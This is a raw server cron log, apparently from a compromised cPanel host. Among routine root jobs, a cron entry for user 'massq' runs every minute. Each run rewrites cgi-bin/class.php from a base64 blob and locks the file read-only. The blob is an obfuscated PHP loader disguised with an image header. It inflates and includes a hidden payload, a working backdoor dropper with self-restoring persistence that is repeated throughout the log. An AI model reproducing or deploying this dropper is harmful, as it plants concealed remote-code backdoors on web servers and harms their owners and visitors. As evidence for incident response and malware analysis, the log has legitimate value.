Sep 12 17:18:01 server CROND[4140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:18:01 server CROND[4141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:19:01 server CROND[4526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:19:01 server CROND[4527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:19:01 server CROND[4528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:20:01 server CROND[4952]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:20:01 server CROND[4954]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 17:20:01 server CROND[4955]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 17:20:01 server CROND[4959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:20:01 server CROND[4960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:20:01 server CROND[4961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:20:01 server CROND[4964]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 17:20:01 server CROND[4958]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 17:20:01 server CROND[4962]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:21:01 server CROND[5774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:21:01 server CROND[5775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:21:01 server CROND[5776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:22:01 server CROND[6214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:22:01 server CROND[6215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:22:01 server CROND[6216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:23:01 server CROND[6623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:23:01 server CROND[6622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:23:01 server CROND[6624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:24:01 server CROND[7002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:24:01 server CROND[7003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:24:01 server CROND[7004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:25:01 server CROND[7377]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 17:25:01 server CROND[7379]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:25:01 server CROND[7383]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 17:25:01 server CROND[7384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:25:01 server CROND[7387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:25:01 server CROND[7385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:25:01 server CROND[7390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:26:01 server CROND[8202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:26:01 server CROND[8203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:26:01 server CROND[8204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:27:01 server CROND[8592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:27:01 server CROND[8590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:27:01 server CROND[8591]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 17:27:01 server CROND[8593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:28:01 server CROND[9052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:28:01 server CROND[9053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:28:01 server CROND[9054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:29:01 server CROND[9430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 17:29:01 server CROND[9431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:29:01 server CROND[9432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
